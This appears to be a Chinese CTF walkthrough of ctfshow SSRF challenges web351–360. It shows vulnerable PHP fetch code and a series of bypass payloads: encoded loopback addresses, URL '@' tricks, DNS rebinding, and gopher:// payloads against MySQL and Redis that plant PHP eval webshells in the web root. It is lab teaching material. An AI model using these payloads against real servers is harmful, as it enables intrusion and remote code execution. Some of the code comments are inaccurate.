1. SSRF 概述
服務器會根據用戶提交的URL發送一個HTTP請求。使用用戶指定的URL,Web應用可以獲取圖片或者文件資源等。典型的例子是百度識圖功能。
如果沒有對用戶提交URL和遠端服務器所返回的信息做合適的驗證或過濾,就有可能存在“請求偽造"的缺陷。“請求偽造”,顧名思義,攻擊者偽造正常的請求,以達到攻擊的目的。如果“請求偽造”發生在服務器端,那這個漏洞就叫做“服務器端請求偽造”,英文名字Server Side Request Forgery,簡稱SSRF。
SSRF是一種由攻擊者發起的偽造服務器發送的請求的一種攻擊。
1.1 SSRF 場景
SSRF漏洞主要出現在需要從服務器向其他資源發送請求的應用程序中,例如圖片處理、文件下載、URL 轉發等。其中被攻擊的目標系統通常位于服務器的內部網絡。
ssrf產生原理:
服務端存在網絡請求功能/函數,例如:file_get_contens()這一類類似于curl
這種函數傳入的參數用戶是可控的
沒有對用戶輸入做過濾導致的ssrf漏洞
ssrf利用:
用于探測內網服務以及端口
探針存活主機以及開放服務
探針是否存在redis服務(未授權訪問, 相當于是可以訪問到redis服務并且開發人員不嚴謹沒有設置密碼, ?因為默認是沒有密碼的, ?或者說開發者設置了密碼但是是弱口令), ?利用定時任務反彈shell
思維導圖
Web351
代碼解釋:
<?php ?
// 開啟PHP的錯誤報告,但這里設置為0,即關閉所有錯誤報告。這通常不推薦在生產環境中使用,因為它會隱藏所有錯誤和警告。 ?
error_reporting(0); ?
// 使用highlight_file函數高亮顯示當前PHP文件的源代碼。這通常用于教學或調試目的,但在生產環境中可能會暴露敏感信息。 ?
highlight_file(__FILE__); ?
// 從POST請求中獲取名為'url'的參數值,并將其存儲在變量$url中。 ?
$url=$_POST['url']; ?
// 初始化一個新的cURL會話,并將之前獲取的URL作為參數傳遞給curl_init函數。 ?
$ch=curl_init($url); ?
// 設置cURL選項,關閉cURL請求頭信息的輸出。這意味著cURL不會返回HTTP頭部信息,只返回主體內容。 ?
curl_setopt($ch, CURLOPT_HEADER, 0); ?
// 設置cURL選項,將CURLOPT_RETURNTRANSFER設置為1,這意味著cURL執行的結果(即請求的響應)將被作為字符串返回,而不是直接輸出。 ?
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); ?
// 執行cURL會話,并將結果存儲在變量$result中。 ?
$result=curl_exec($ch); ?
// 關閉cURL會話并釋放所有資源。 ?
curl_close($ch); ?
// 輸出cURL請求的結果(即請求的響應內容)。 ?
echo ($result); ?
?>
函數解釋:
1.curl_init() ??初始化cURL,返回資源給$ch
2.curl_setopt() 設置一個cURL傳輸選項
bool curl_setopt ( resource $ch , int $option , mixed $value )
參數一:curl資源 參數二:設置的請求選項 參數三:請求選項的值
CURLOPT_HEADER ????????啟用時會將頭文件的信息作為數據流輸出。
URLOPT_RETURNTRANSFER 將curl_exec()獲取的信息以文件流的形式返回,而不是直接輸出。
3.curl_exec()執行cURL資源,并傳遞給瀏覽器
4.curl_close()關閉cURL資源
Payload
url=http://127.0.0.1/flag.php
Web352
代碼解釋:
<?php ?
// 關閉PHP的錯誤報告 ?
error_reporting(0); ?
??
// 高亮顯示當前PHP文件的源代碼,這通常不應在生產環境中使用 ?
highlight_file(__FILE__); ?
??
// 從POST請求中獲取名為'url'的參數值 ?
$url=$_POST['url']; ?
??
// 使用parse_url函數解析URL,并將結果存儲在$x數組中 ?
$x=parse_url($url); ?
??
// 檢查URL的協議是否為'http'或'https' ?
if($x['scheme']==='http'||$x['scheme']==='https'){ ?
????// 嘗試使用正則表達式檢查URL是否不包含'localhost'或'127.0.0'(注意:這里只檢查了'127.0.0'的前綴,沒有完整的IP地址檢查) ?
????// 但是,preg_match函數的調用方式不正確,因為它沒有指定完整的模式字符串和待匹配的字符串 ?
????// 正確的調用應該是preg_match('/localhost|127\.0\.0\./', $url) ?
????if(!preg_match('/localhost|127.0.0/')){ ?
????????// 如果URL通過了協議和本地地址的檢查,則初始化cURL會話 ?
????????$ch=curl_init($url); ?
??????????
????????// 設置cURL選項以關閉頭部信息的輸出并返回結果作為字符串 ?
????????curl_setopt($ch, CURLOPT_HEADER, 0); ?
????????curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); ?
??????????
????????// 執行cURL請求,并將結果存儲在$result中 ?
????????$result=curl_exec($ch); ?
??????????
????????// 關閉cURL會話 ?
????????curl_close($ch); ?
??????????
????????// 輸出cURL請求的結果 ?
????????echo ($result); ?
????} ?
????else{ ?
????????// 如果URL包含'localhost'或'127.0.0'(盡管由于正則表達式的問題,這個檢查可能不準確),則終止腳本執行 ?
????????die('hacker'); ?
????} ?
} ?
else{ ?
????// 如果URL的協議不是'http'或'https',則終止腳本執行 ?
????die('hacker'); ?
} ?
?>
正則繞過127.0.0.1
編碼繞過:
payload:
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://0.0.0.0/flag.php ????? ?0.0.0.0代表本機
url=http://0x7F000001/flag.php ? 16進制地址
url=http://2130706433/flag.php 10進制地址
url=http://127.1 ??? 簡寫
Ip地址轉換器地址
IP地址進制轉換本計算器可以在線進行IP地址的二進制、十六進制、十進制的互換。https://tool.520101.com/wangluo/jinzhizhuanhuan/
Web353
匹配不包含?localhost?或以?127.?開頭的 IP 地址(如?127.0.0.1)的 URL,您可以使用以下正則表達式
編碼繞過:
payload:
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://0.0.0.0/flag.php ????? ?0.0.0.0代表本機
url=http://0x7F000001/flag.php ? 16進制地址
url=http://2130706433/flag.php 10進制地址
url=http://127.1/flag.php ? 簡寫
Web354
代碼解釋:
<?php ?
// 關閉PHP的錯誤報告 ?
error_reporting(0); ?
??
// 高亮顯示當前PHP文件的源代碼,這通常不應在生產環境中使用 ?
highlight_file(__FILE__); ?
??
// 從POST請求中獲取名為'url'的參數值 ?
$url=$_POST['url']; ?
??
// 使用parse_url函數解析URL,并將結果存儲在$x數組中 ?
$x=parse_url($url); ?
??
// 檢查URL的協議是否為'http'或'https' ?
if($x['scheme']==='http'||$x['scheme']==='https'){ ?
????// 嘗試使用正則表達式檢查URL是否不包含'localhost'、'1'、'0'或字面量字符'。'(但這里的使用可能是錯誤的) ?
????// 注意:這個正則表達式實際上會匹配任何包含'1'、'0'或'。'(后者可能是一個打字錯誤,意圖可能是'.')的URL ?
????if(!preg_match('/localhost|1|0|。/i', $url)){ ?
????????// 如果URL通過了協議和正則表達式的檢查,則初始化cURL會話 ?
????????$ch=curl_init($url); ?
??????????
????????// 設置cURL選項以關閉頭部信息的輸出并返回結果作為字符串 ?
????????curl_setopt($ch, CURLOPT_HEADER, 0); ?
????????curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); ?
??????????
????????// 執行cURL請求,并將結果存儲在$result中 ?
????????$result=curl_exec($ch); ?
??????????
????????// 關閉cURL會話 ?
????????curl_close($ch); ?
??????????
????????// 輸出cURL請求的結果 ?
????????echo ($result); ?
????} ?
????else{ ?
????????// 如果URL包含'localhost'、'1'、'0'或'。'(考慮到'。'可能是打字錯誤),則終止腳本執行 ?
????????die('hacker'); ?
????} ?
} ?
else{ ?
????// 如果URL的協議不是'http'或'https',則終止腳本執行 ?
????die('hacker'); ?
} ?
?>
法一
url=http://sudo.cc/flag.php
sudo.cc相當于127.0.0.1?
方法二(未解決)
302跳轉
在自己的網站頁面添加
<?php
header("Location:http://127.0.0.1/flag.php");
重定向到127
方法三(未解決)
DNS-Rebinding
自己去ceye.io注冊綁定127.0.0.1然后記得前面加r
url=http://r.xxxzc8.ceye.io/flag.php
查看 profile
Web355
if((strlen($host)<=5))
要求host長度小于5位
url=http://127.1/flag.php
Web356
if((strlen($host)<=3)){
要求長度小于3位
url=http://0/flag.php
# 0在linux系統中會解析成127.0.0.1在windows中解析成0.0.0.0
Web358
php復制代碼
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
這段代碼使用preg_match()函數來驗證$url是否滿足特定的正則表達式模式。這個
'^http:\/\/ctf\..*show$'意味著:
URL必須以http://開頭。
緊接著必須是ctf.(不區分大小寫,因為使用了i修飾符)。
然后是任意數量的任意字符(.表示任意字符,*表示前面的字符可以出現0次或多次)。
最后必須以show結尾。
如果URL滿足這個模式,file_get_contents()函數將被調用,嘗試獲取該URL指向的內容,并將其輸出到屏幕上。
payload:
url=http://ctf.@127.0.0.1/flag.php#show
url=http://ctf.@127.0.0.1/flag.php?show
Web359
登錄抓包發現
u=Username&returl=https%3A%2F%2F404.chall.ctf.show%2F
存在ssrf
Gopher協議打MySQL
具體原理:CTF SSRF 漏洞從0到1 - FreeBuf網絡安全行業門戶
先下載Gopherus
git clone https://github.com/tarunkant/Gopherus.git
python gopherus.py
python2 .\gopherus.py --exploit mysql
username:root
寫入一句話木馬
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01
對_再進行url編碼
%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
Web360
Payload生成:
python2 gopherus.py --exploit redis
<?php @eval($_POST['cmd']);?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
Url編碼
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A